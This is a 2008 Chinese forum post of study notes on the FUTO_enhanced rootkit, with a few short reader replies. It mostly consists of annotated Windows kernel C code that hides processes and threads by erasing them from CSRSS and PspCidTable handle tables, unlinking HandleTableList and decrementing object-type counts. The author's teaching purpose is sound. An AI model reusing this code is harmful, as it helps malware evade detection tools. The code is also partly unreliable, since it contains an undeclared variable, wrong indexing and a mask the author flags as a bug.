首页
论坛
课程
招聘
[系统底层] [原创]FUTO_enhanced点滴笔记
2008-2-19 00:03 8284

[系统底层] [原创]FUTO_enhanced点滴笔记

2008-2-19 00:03
8284
FUTO_enhanced放在硬盘里快半年了没有去看过, 玩内核的大牛们在几年前就把这个古老的rootkit玩腻了,而俺作为后来的小菜今天才开始消化这些过时的知识(无奈啊,差距太大了 ) .  

   网上关于这个rootkit的介绍很详细了,源码也是很值得俺学习. 于是就写点学习的东西供以后接触的同学一个参考. 老鸟们直接pass了~

[前置知识]:
句柄表的详细结构和查询过程、WINDOWS的对象管理机制和结构、进程线程的结构和它们内部变量间的若干联系、IS等anti-rootkit的基本原理...

关于PspCidTable已经有好多介绍,它也是很重要的一个节点.FUTO理所当然会抹掉里面相应的进程/线程对象信息了. 而CSRSS.exe中同样保留有一份完整的系统进程/线程表.所以要一并抹掉.
[可以参考WINDOWS INTERNALS的第8章,里面有进程创建和相关结构的详细介绍 (英文版)]

(1) 抹掉CSRSS.exe中指定进程的object

首先遍历EPROCESS链表找到CSRSS.exe,其偏移+0x0c4处的ObjectTableHANDLE_TABLE结构, 其第一项+0x00处便是我们熟悉的TableCode了. 就是要在这个句柄表中找到要抹掉的进程对象,为了兼容,FUTO分了2中情况:XP SP2/WIN2K3 和 WIN2K ,前者的句柄表是1~3层, 后者就是3层. 这里只看XP下的

void
EraseHandle (
   PEPROCESS eproc,
  PVOID tarHandle
   )
/*++
sudami 注解 08/02/18

参数:
   eproc - 一般就是CSRSS.EXE的EPROCESS了,因为其他进程里面没有全部的信息
   tarHandle - 为要抹掉的进程EPROCESS或线程ETHREAD; handle在R3是PVOID类型
               到了底层,就是指向相应的结构对象的指针

返回:NULL

功能:
   在CSRSS.EXE中抹掉指定进程/线程的对象信息.作者定义的结构体TABLE_ENTRY
   没有给全,也比较的含糊,其实就是_HANDLE_TABLE_ENTRY结构的一部分 - -

   typedef struct _TABLE_ENTRY {
       DWORD object;             // +0x000 Object
     ACCESS_MASK security;     // +0x004 GrantedAccess
   } TABLE_ENTRY, *PTABLE_ENTRY, **PPTABLE_ENTRY, ***PPPTABLE_ENTRY;

   当然也可以不用它的这个结构体,不用3维数组.结合 0x800在第1和第2张表中遍历

--*/

{
   PTABLE_ENTRY    orig_tableEntry, p_tableEntry, *pp_tableEntry, **ppp_tableEntry;
  int a, b, c;
  int i_numHandles, i_hperPage;
  int i_handle;

   orig_tableEntry = (PTABLE_ENTRY)*(PDWORD) (( *(PDWORD) \
     ( (DWORD)eproc + 0x0c4 ) ));
   i_numTables = ((DWORD)orig_tableEntry & 3);

  if (b_isXP2K3 == TRUE) {
     i_hperPage = PAGE_SIZE/sizeof(TABLE_ENTRY);  
   
    if (i_numTables == 0) { // 0层表
      // 这个地方应该是0xfffffffc,去掉TableCode的低2位,不知道作者怎么写成这样了 =。=!
       p_tableEntry = (PTABLE_ENTRY)( (DWORD)orig_tableEntry & 0xfffffff8 );

      for (a = 0; a < i_hperPage; a++) {//去掉低3位掩码标志 0x18为ObjectHeader的大小
        if (((p_tableEntry[a].object ^ 0x80000000) & 0xfffffff8) ==\
           ((DWORD)tarHandle - 0x18)) { // 填充0即可
         
           p_tableEntry[a].object = 0;
           p_tableEntry[a].security = 0;
         }
       }
     } else if (i_numTables == 1) { // 1层表

       pp_tableEntry = (PPTABLE_ENTRY)((DWORD)orig_tableEntry & 0xfffffffc);
      for (a = 0; a < i_hperPage; a++) {
        if (pp_tableEntry[a] == NULL)
          break;

        for (b = 0; b < i_hperPage; b++) { // 2维数组了
          if (((pp_tableEntry[a].object ^ 0x80000000) & 0xfffffff8) \
             == ((DWORD)tarHandle - 0x18)) {
  
             pp_tableEntry[a].object = 0;
             pp_tableEntry[a].security = 0;
           }
         }
       }
     } else if (i_numTables == 2) { // 2层表
      
       ppp_tableEntry = (PPPTABLE_ENTRY)((DWORD)orig_tableEntry & 0xfffffff8);
      for (a = 0; a < i_hperPage; a++) {
        if (ppp_tableEntry[a] == NULL)
          break;

        for (b = 0; b < i_hperPage; b++) {
          if (ppp_tableEntry[a] == NULL)
            break;

          for (c = 0; c < i_hperPage; c++) { // 3维数组了
            if (((ppp_tableEntry[a][c].object ^ 0x80000000) \
               & 0xfffffff8) == ((DWORD)tarHandle - 0x18)) {
              
               ppp_tableEntry[a][c].object = 0;
               ppp_tableEntry[a][c].security = 0;
             }
           }
         
         }
       }
     }
   } else if (b_isXP2K3 == FALSE) {
    // WIN2K的略掉了...  
   }
}

(2) 抹PspCidTable中指定进程的object

和上面的差不多.只不过上面是指定进程(CSRSS.EXE)中的HANDLE_TABLE中的指定进程/线程对象. 而这个是直接给出了PspCidTable,更方便 ---> 调用自定义函数EraseObjectFromTable 略过

(3) 断2个链. 一个是 ActiveProcessLinks,一个是 要隐藏进程EPROCESS结构中的另一个链

nt!_HANDLE_TABLE
    +0x000 TableCode         : Uint4B
    +0x004 QuotaProcess      : Ptr32 _EPROCESS
    +0x008 UniqueProcessId   : Ptr32 Void
    +0x00c HandleTableLock   : [4] _EX_PUSH_LOCK
    +0x01c HandleTableList : _LIST_ENTRY
    +0x024 HandleContentionEvent : _EX_PUSH_LOCK
    +0x028 DebugInfo         : Ptr32 _HANDLE_TRACE_DEBUG_INFO
    +0x02c ExtraInfoPages    : Int4B
    +0x030 FirstFree         : Uint4B
    +0x034 LastFree          : Uint4B
    +0x038 NextHandleNeedingPool : Uint4B
    +0x03c HandleCount       : Int4B
    +0x040 Flags             : Uint4B
    +0x040 StrictFIFO        : Pos 0, 1 Bit

即EPROCESS-->ObjectTable (+0x0c4)-->handleTableList ; 它要是不断,别人可以通过别的已知进程推出这个隐藏进程的EPROCESS,很危险

void
UnHookHandleListEntry (
   PEPROCESS eproc
   )
/*++
sudami 注解 08/02/18

参数:
   eproc - 为要抹掉的进程EPROCESS
     
返回:NULL

功能:
   摘除隐藏在EPROCESS-->ObjectTable-->handleTableList里的结点

--*/

{
   PLIST_ENTRY plist_hTable = NULL;
   plist_hTable = (PLIST_ENTRY)((*(PDWORD)((DWORD) eproc + HANDLETABLEOFFSET)) + 0x01c);

  // 数据结构的知识:双向链表中的摘除结点. 注意 "*((DWORD *) XXXX)" 的意思是取XXXX
  // 所指向地址处的内容,即取出保存有下个/上个结点的地址; 而"(DWORD)" 表明就是地址
   *((DWORD *)plist_hTable->Blink)    = (DWORD) plist_hTable->Flink;
   *((DWORD *)plist_hTable->Flink+1) = (DWORD) plist_hTable->Blink;
}

(4) 抹掉CSRSS.EXE中指定进程的所有线程对象.

哈哈,感觉和PHIDE2里面的嫁接新的线程切换表头有点儿像. 其实就是遍历要隐藏进程的所有线程,对每个线程都调用前面提到的 EraseHandle 来抹掉即可

void
HideThreadsInTargetProcess (
   PEPROCESS eproc,
   PEPROCESS target_eproc
   )
/*++
sudami 注解 08/02/18

参数:
   eproc - 为要抹掉的进程EPROCESS
   target_eproc - CSRSS.EXE
     
返回:NULL

功能:
   摘除CSRSS.EXE中指定进程的所有线程对象信息

--*/

{
   PETHREAD start, walk;
  DWORD     check1, check2;

  if (eproc == NULL)
    return;

  // nt!_KPROCESS +0x050 ThreadListHead    : _LIST_ENTRY
   check1 = *(DWORD *) ( (DWORD)eproc + 0x50 );
   check2 = ( (DWORD)eproc + 0x50 );

  if (check1 == check2) // 若该进程只有一个主线程就不必了
    return;

   start = *(PETHREAD *) ( (DWORD)eproc + 0x50 );
   start = (PETHREAD) ( (DWORD)start - 0x50 );
   walk = start;
  do {
     EraseHandle (target_eproc, walk); // 抹掉each ethread

    // nt!_KTHREAD +0x1b0 ThreadListEntry   : _LIST_ENTRY
     walk = *(PETHREAD *)((DWORD)walk + 0x1b0);
     walk = (PETHREAD)((DWORD)walk - 0x1b0);
   } while (walk != start);
}

(5) 抹掉PspCidTable中的指定进程的所有线程对象
和上面一样,只是把EraseHandle换成EraseObjectFromTable

(6) 使进程对象这类型结构的计数减1

FUTO中给出了一个很好的函数来得到指定的对象类型. ObjectType 有27种, 模样都是L"\\ObjectTypes\\XXXX". 打开对象获得句柄,进而获得OBJECT_DIRECTORY的地址,对其中的37组OBJECT_DIRECTORY_ENTRY进行搜索,每一组都是相同hash值的一条链.遍历起来也很容易.最终找到指定类型的OBJECT_TYPE

     ObOpenObjectByName      -->  ObReferenceObjectByHandle   
      (传递\\ObjectTypes得到handle)                 (通过handle得到对象地址)

         --> ObQueryNameString, 然后比较name...

然后OBJECT_TYPE中的TotalNumberOfObjects自减即可
[FONT=新宋体]POBJECT_TYPE 
FindObjectTypes (char *ac_tName)
{
OBJECT_ATTRIBUTES ObjectAttributes;
UNICODE_STRING ucName, ufName;
       ANSI_STRING afName;
NTSTATUS ntStatus;
HANDLE hDirectory = NULL;
POBJECT_DIRECTORY pDirectoryObject = NULL;
POBJECT_DIRECTORY_ENTRY DirectoryEntry;
       POBJECT_HEADER objHead;
ULONG Bucket = 0;
       DWORD d_size;
       PUNICODE_STRING p_wcName;

       p_wcName = (PUNICODE_STRING) ExAllocatePool(PagedPool, \
            sizeof(UNICODE_STRING)+(sizeof(WCHAR)*1024));
       if (p_wcName == NULL)
            return NULL;

       p_wcName->Length = 0;
       p_wcName->MaximumLength = 1022;
       p_wcName->Buffer = (PWSTR)((DWORD)p_wcName + sizeof(UNICODE_STRING));

       RtlInitAnsiString(&afName, ac_tName);
      
       // open driver directory in the object directory
RtlInitUnicodeString(&ucName,L"\\ObjectTypes");
InitializeObjectAttributes(&ObjectAttributes,&ucName,OBJ_CASE_INSENSITIVE,NULL,NULL);
ntStatus = ObOpenObjectByName(&ObjectAttributes,
                                                               NULL,
                                                               KernelMode,
                                                               NULL,
                                                               0x80000000,
                                                               NULL,
                                                               &hDirectory);
if (!NT_SUCCESS (ntStatus))
       return NULL;

// get pointer from handle
ntStatus = ObReferenceObjectByHandle(hDirectory,
                                             FILE_ANY_ACCESS,
                                                                              NULL,
                                                                              KernelMode,
                                                                              &pDirectoryObject,
                                                                     NULL);
       ZwClose (hDirectory);
if (!NT_SUCCESS (ntStatus))
            return NULL;

       ntStatus = RtlAnsiStringToUnicodeString(&ufName, &afName, TRUE);
if (!NT_SUCCESS (ntStatus))
            return NULL;
      
// walk the object directory
for (Bucket = 0; Bucket < NUMBER_HASH_BUCKETS; Bucket++) 
{
       DirectoryEntry = pDirectoryObject->HashBuckets[Bucket];
            while (DirectoryEntry != NULL)
            {
                     ntStatus = ObQueryNameString(DirectoryEntry->Object, 
                                                      (POBJECT_NAME_INFORMATION) p_wcName, 
                                                                              p_wcName->MaximumLength, 
                                                                              &d_size);
                     if (NT_SUCCESS (ntStatus))
                     {
                               if (RtlCompareUnicodeString(p_wcName, &ufName, TRUE)==0)
                               {
                                    if (pDirectoryObject)
                                             ObDereferenceObject(pDirectoryObject);
                                    RtlFreeUnicodeString(&ufName);
                                    ExFreePool(p_wcName);
                                    return (POBJECT_TYPE) DirectoryEntry->Object;
                               }
                     }
                     p_wcName->MaximumLength = 1022;
                     DirectoryEntry = DirectoryEntry->ChainLink;
            }
       }

if (pDirectoryObject)
            ObDereferenceObject(pDirectoryObject);
       RtlFreeUnicodeString(&ufName);
       ExFreePool(p_wcName);
return NULL;
}[/FONT]

这只是FUTO中隐藏进程的部分,做的还是比较系统的. 现在看来科普很重要啊.虽然这些东西很简单,但要一个人去coding,还不是件容易事.有源码就要下功夫去汲取营养,有所收获

里面还有个是抹掉PsLoadedModuleList链中关于Driver 的信息.其他的就是什么设置SID,ProcessToken之类的,有点儿烦琐.

然后R3部分负责发IRP到R0中,就是传递个进程ID,思路还是挺简单的. 呵呵,写了点儿很烂的东西,希望对没有学过这个古老的rootkit的同学有点儿帮助

-------------------------------------------------------------------------
参考资料:
   (1) JIURL玩玩Win2k 对象
   (2) Windows 2000的对象管理
   (3) Windows对象 (Object) 的组织
   (4) WRK1.2 Windbg

[公告]请完善个人简历信息,招聘企业等你来!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (11)
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
vacanoo 活跃值 2008-2-19 00:09
2
0
基本看不懂,估计我能看懂了我就有长进了呵呵
雪    币: 235
活跃值: 活跃值 (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhtjia 活跃值 2008-2-19 00:52
3
0
好帖怎能不顶
雪    币: 3
活跃值: 活跃值 (10)
能力值: ( LV9,RANK:330 )
在线值:
发帖
回帖
粉丝
theOcrat 活跃值 8 2008-2-19 09:25
4
0
学      习
雪    币: 519
活跃值: 活跃值 (47)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
笨笨雄 活跃值 14 2008-2-19 09:31
5
0
古老的还是算了,,,来点新颖的,,,
雪    币: 108
活跃值: 活跃值 (46)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-2-20 09:12
6
0
学习,感谢大米的热情分享。其实,只要window版本不更新,古老的办法还是有效的。
雪    币: 5535
活跃值: 活跃值 (10)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
forgot 活跃值 26 2008-2-20 15:03
7
0
大米是dummy啊,LZ是素大米。。。肉大米在哪里
雪    币: 466
活跃值: 活跃值 (139)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2008-2-20 15:14
8
0
汗, 俺叫sudami啊.

肉大米在哪里,肉大米在every one's  futrue 老婆那里
雪    币: 359
活跃值: 活跃值 (10)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
petnt 活跃值 12 2008-2-20 16:28
9
0
--苏大秘--不知道有没有人记起他
雪    币: 108
活跃值: 活跃值 (46)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-2-20 23:23
10
0
雪    币: 5535
活跃值: 活跃值 (10)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
forgot 活跃值 26 2008-2-20 23:28
11
0
今天登陆了sudami的blog, 听着优美的背景音乐,禁不住怀念起自己的幼儿园时代。哎,毕业已经12载,感慨人生,真快啊。
雪    币: 466
活跃值: 活跃值 (139)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2008-2-20 23:40
12
0
,这音乐能勾起儿提时代的回忆啊 o(*.*)O
游客
登录 | 注册 方可回帖
返回